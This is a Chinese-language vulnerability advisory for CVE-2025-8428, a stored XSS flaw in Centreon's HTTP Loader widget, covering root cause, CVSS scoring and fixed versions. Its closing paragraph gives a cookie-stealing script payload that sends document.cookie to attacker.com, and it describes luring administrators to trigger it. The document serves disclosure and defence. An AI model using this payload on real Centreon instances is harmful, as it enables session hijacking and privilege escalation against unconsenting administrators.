CVE-2025-8428CVE-2025-8428是Centreon Infra Monitoring平台HTTP Loader widget模块中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于Web页面生成过程中对用户输入的不当中和(Improper Neutralization of Input During Web Page Generation),属于OWASP Top 10中常见的注入类安全缺陷。Centreon是一款广泛使用的开源IT基础设施监控解决方案,被大量企业用于监控网络设备、服务器和应用程序的运行状态。该漏洞允许低权限认证用户通过精心构造的恶意负载注入到HTTP Loader widget中,当其他用户(尤其是具有更高权限的管理员)查看受感染的监控面板或仪表板时,恶意脚本将在受害者浏览器中自动执行。由于该漏洞为存储型XSS,恶意负载会持久化保存在后端数据库中,每次受影响的页面被访问时都会触发攻击,影响范围持续扩大。CVSS 3.1评分为6.8分,评定为中危级别,攻击者需要低权限认证(PR:L)并需要受害者进行用户交互(UI:R),但其影响范围为Changed(S:C),意味着漏洞影响可超越受攻击组件本身,机密性影响为高(C:H),完整性和可用性不受影响。该漏洞影响Centreon多个版本分支,包括23.10.x、24.04.x和24.10.x系列,已在24.10.13、24.04.18和23.10.28版本中修复。
该漏洞的核心问题在于Centreon Infra Monitoring的HTTP Loader widget模块在处理用户输入时,未对输入数据进行充分的过滤、转义或编码,导致恶意JavaScript代码能够被持久化存储并在后续页面渲染时执行。具体技术原理如下:
1. **输入注入点**:HTTP Loader widget允许低权限用户配置HTTP请求相关的参数,如URL、请求头、认证信息等。攻击者可以在这些字段中注入恶意JavaScript代码或HTML标签。
2. **存储机制**:由于Centreon将widget的配置信息存储在后端数据库中,恶意负载随之持久化保存,不会因会话结束而失效。
3. **输出渲染缺陷**:当其他用户(特别是管理员)访问包含该widget的监控仪表板时,服务器从数据库读取配置数据并直接渲染到HTML页面中,未对存储的内容进行适当的HTML实体编码或上下文敏感的转义处理。
4. **攻击执行**:受害者的浏览器解析包含恶意脚本的HTML内容,在其权限上下文中执行JavaScript代码,可窃取会话Cookie、CSRF Token,或通过AJAX请求以受害者身份执行特权操作(如创建管理员账户、修改监控配置等)。
利用方式:攻击者首先需要一个低权限的Centreon账户,通过widget配置界面在HTTP Loader widget的相关字段中注入XSS负载(如`<script>document.location='https://attacker.com/steal?c='+document.cookie</script>`),然后诱导具有更高权限的用户查看包含该widget的仪表板页面,即可完成攻击。